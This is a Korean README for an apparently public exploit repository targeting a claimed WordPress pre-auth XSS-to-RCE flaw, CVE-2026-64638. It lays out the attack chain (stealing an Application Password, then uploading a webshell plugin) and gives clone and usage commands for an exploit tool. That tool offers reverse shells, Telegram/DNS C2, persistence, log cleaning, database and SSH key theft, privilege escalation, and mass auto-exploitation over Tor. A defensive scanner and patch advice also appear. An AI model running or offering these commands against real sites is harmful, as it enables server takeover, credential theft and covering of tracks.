
CVE‑2026‑64638 – WordPress XSS2Shell 보안 스위트

** 윤리적 사용만 허용 – 승인된 보안 테스트**
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계 유사 법률에 따라 불법입니다.
취약점 개요
CVE‑2026‑64638은 WordPress 코어 버전 4.7.0부터 7.0.2까지 존재하는 치명적인 사전 인증 반사형 XSS 취약점으로, 공격자가 Application Password 기능을 통해 XSS 공격을 **완전한 원격 코드 실행(RCE)**으로 확대할 수 있게 합니다.
작동 방식
- 파서 차이 – PHP의
strip_tags()와 WordPress의 wp_kses_post()가 HTML 태그를 다르게 파싱하여 악성 입력이 정제를 통과할 수 있습니다.
- 반사형 XSS – 공격자가 로그인 폼(
wp-login.php)에 특수 제작된 페이로드를 주입합니다. 로그인 실패 시 페이로드가 반사되어 피해자의 브라우저에서 실행됩니다.
- Application Password 악용 – 주입된 JavaScript가 WordPress REST API를 통해 자동으로 Application Password를 생성하고, 이를 공격자에게 유출합니다.
- 플러그인 업로드(RCE) – 탈취한 Application Password를 사용하여 공격자가 관리자 패널에 인증하고 웹셸이 포함된 악성 플러그인을 업로드합니다.
- 전체 시스템 장악 – 웹셸이 시스템 명령 실행을 제공하여 리버스 셸, 지속성, 측면 이동, 완전한 서버 장악이 가능합니다.
영향받는 버전
- WordPress 4.7.0 – 7.0.2 – 취약
- WordPress 7.0.3 이상 – 패치됨
- 보안 업데이트는 모든 유지 관리 브랜치에 백포트되었습니다
패치
- WordPress 7.0.3 이상으로 업그레이드하세요.
- 업그레이드가 불가능한 경우, 임시 방편으로 Application Password 기능을 비활성화하세요.
도구
| 도구 | 목적 | 대상 사용자 |
|---|
exploit.py | 리버스 셸, 지속성, C2, 권한 상승, 메모리 포렌식, 데이터베이스 덤프, SSH 키 추출, 대량 스캔을 포함한 전체 익스플로잇 툴킷. | 레드팀 / 승인된 침투 테스터 |
safecheck.py | 악성 페이로드를 실행하지 않고 XSS 반사 여부를 탐지하고 보안 상태를 평가하는 비침투적 취약점 검사기. 상세 보고서를 생성합니다. | 블루팀 / 보안 감사자 |
기능 비교
| 기능 | exploit.py | safecheck.py |
|---|
| 취약점 탐지 | [+] | [+] |
| WordPress 버전 탐지 | [+] | [+] |
| XSS 반사 탐지 | [+] | [+] |
| Application Password 캡처 | [+] | [-] |
| 플러그인 업로드(RCE) | [+] | [-] |
| 리버스 셸 | [+] | [-] |
| C2 비커닝(HTTP/DNS/Telegram) | [+] | [-] |
| 권한 상승 | [+] | [-] |
| 메모리 포렌식 | [+] | [-] |
| 데이터베이스 덤프 | [+] | [-] |
| SSH 키 추출 | [+] | [-] |
| 지속성 방법 | [+] | [-] |
| 보안 헤더 감사 | [-] | [+] |
| 설정 파일 노출 확인 | [-] | [+] |
| 디렉터리 리스팅 확인 | [-] | [+] |
| phpinfo 노출 확인 | [-] | [+] |
| 대량 스캔 | [+] | [+] |
| 프록시 지원 | [+] | [+] |
| Tor 지원 | [+] | [+] |
| Ngrok 터널링 | [+] | [-] |
| 대화형 셸 | [+] | [-] |
| 비침투적(안전) 모드 | [-] | [+] |
| JSON / 보고서 출력 | [+] | [+] |
사용 사례 요약
| 시나리오 | 권장 도구 |
|---|
| 블루팀 – WordPress 설치가 취약한지 확인 | safecheck.py |
| 보안 감사 – 비침투적 취약점 평가 | safecheck.py |
| 레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safecheck.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py 또는 safecheck.py |
| 사고 대응 – 시스템이 침해되었는지 확인 | safecheck.py |
| 고급 사후 익스플로잇 – 지속성, C2, 포렌식 | exploit.py |
설치
git clone https://github.com/tc4dy/CVE-2026-64638-PoC-Exploit
cd CVE-2026-64638-PoC-Exploit
pip install -r requirements.txt
requirements.txt
requests
urllib3
#ops
pymysql
mysql-connector-python
PySocks
requests[socks]
매개변수
exploit.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 WordPress URL (예: https://wordpress-site.com) |
-l, --list | 대량 스캔을 위한 대상 목록이 포함된 파일 (한 줄에 하나씩) |
--lhost | 리버스 셸 콜백을 위한 로컬 IP 주소 |
--lport | 리버스 셸을 위한 로컬 포트 (기본값: 4444) |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--timeout | 요청 타임아웃(초) (기본값: 10) |
--retry | 재시도 횟수 (기본값: 3) |
--threads | 대량 스캔을 위한 스레드 수 (기본값: 5) |
--exploit | 대량 스캔 중 취약한 대상 자동 익스플로잇 |
--ngrok-token | 외부 터널링을 위한 Ngrok authtoken |
--payload-type | XSS 페이로드 유형: reflected, dom_based, waf_bypass, case_manipulation, double_encoded |
--session-hijack | 세션 하이재킹 활성화 (관리자 쿠키 탈취) |
--dump-db | WordPress 데이터베이스 덤프 (pymysql 필요) |
--extract-ssh | 대상 시스템에서 SSH 키 추출 |
--tor | Tor를 통해 트래픽 라우팅 (socks5h://127.0.0.1:9050) |
--stealth | 스텔스 모드 활성화 (헤더 위조, 요청 지연) |
--no-cleanup | 익스플로잇 후 로그 정리 건너뛰기 |
--ssl-verify | SSL 인증서 검증 |
--c2-type | C2 유형: http, dns, telegram |
--c2-server | C2 서버 URL 또는 Telegram 봇 토큰 |
--auto-priv-esc | 셸 획득 후 자동 권한 상승 |
--memory-forensics | 메모리 포렌식 모듈 활성화 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드 (최소 출력) |
safecheck.py 매개변수
| 매개변수 | 설명 |
|---|
-t, --target | 대상 WordPress URL (예: https://wordpress-site.com) |
-l, --list | 대량 스캔을 위한 대상 목록이 포함된 파일 (한 줄에 하나씩) |
--timeout | 요청 타임아웃(초) (기본값: 10) |
--retry | 재시도 횟수 (기본값: 3) |
--threads | 대량 스캔을 위한 스레드 수 (기본값: 5) |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--tor | Tor를 통해 트래픽 라우팅 (socks5h://127.0.0.1:9050) |
--ssl-verify | SSL 인증서 검증 |
--output | JSON 보고서 출력 파일 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드 (최소 출력) |
시나리오
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python safecheck.py -t https://wordpress-site.com |
| 2 | 보고서를 포함한 상세 스캔 | python safecheck.py -t https://wordpress-site.com --output report.json -v |
| 3 | 리버스 셸을 포함한 전체 익스플로잇 | python exploit.py -t https://wordpress-site.com --lhost 192.168.1.100 --exploit |
| 4 | 사용자 정의 XSS 페이로드 사용 | python exploit.py -t https://wordpress-site.com --payload-type waf_bypass |
| 5 | 세션 하이재킹 (관리자 쿠키 탈취) | python exploit.py -t https://wordpress-site.com --session-hijack |
| 6 | WordPress 데이터베이스 덤프 | python exploit.py -t https://wordpress-site.com --dump-db |
| 7 | SSH 키 추출 | python exploit.py -t https://wordpress-site.com --extract-ssh |
| 8 | 익명성을 위한 Tor 사용 | python exploit.py -t https://wordpress-site.com --tor --stealth |
| 9 | Telegram을 사용한 C2 비커닝 | python exploit.py -t https://wordpress-site.com --c2-type telegram --c2-server "https://api.telegram.org/botTOKEN/chat_id" |
| 10 | 파일에서 대량 스캔 | python exploit.py -l targets.txt --threads 10 --exploit |
| 11 | 셸 획득 후 메모리 포렌식 | python exploit.py -t https://wordpress-site.com --memory-forensics |
| 12 | 자동 권한 상승 | python exploit.py -t https://wordpress-site.com --auto-priv-esc |
| 13 | 대화형 셸 | python exploit.py -t https://wordpress-site.com -i |
| 14 | Ngrok 터널링 | python exploit.py -t https://wordpress-site.com --ngrok-token YOUR_TOKEN |
대화형 셸 명령
| 명령 | 설명 |
|---|
reverse | 리버스 셸 리스너 시작 |
persist | 지속성 방법 적용 (cron, systemd, rc.local, SSH, WP) |
clean | 시스템 로그 및 기록 정리 |
dumpdb | WordPress 데이터베이스 덤프 |
ssh | SSH 키 추출 |
priv | 자동 권한 상승 |
mem | 메모리 포렌식 실행 |
c2 | C2 상태 표시 |
c2task | C2 작업 확인 |
exit | 대화형 셸 종료 |
엔드포인트 및 API 사용
| 엔드포인트 | 목적 |
|---|
/wp-login.php | 로그인 페이지 – XSS 주입 지점 |
/wp-admin/authorize-application.php | Application Password 생성 |
/wp-admin/update.php?action=upload-plugin | 플러그인 업로드(RCE) |
/wp-content/plugins/{slug}/{slug}.php | 웹셸 실행 |
책임 있는 사용
- 이 도구는 본인이 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하세요.
- 무단 접근은 불법이며 비윤리적입니다.
- 저자는 어떠한 오용에 대해서도 책임지지 않습니다.
- 항상 해당 국가의 법률과 규정을 준수하세요.
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
법적 준수
| 국가 | 관련 법률 |
|---|
| 미국 | Computer Fraud and Abuse Act (CFAA) – 18 U.S.C. § 1030 |
| 영국 | Computer Misuse Act 1990 |
| 터키 | TCK 243 (무단 접근), TCK 244 (시스템 방해) |
| 독일 | StGB § 202a (데이터 스파이), § 202b (데이터 가로채기) |
| 프랑스 | Loi Godfrain – Article 323-1 |
| 호주 | Cybercrime Act 2001 |
| 캐나다 | Criminal Code – Section 342.1 |
| 인도 | Information Technology Act 2000 – Section 43, 66 |
| 일본 | Act on Prohibition of Unauthorized Computer Access |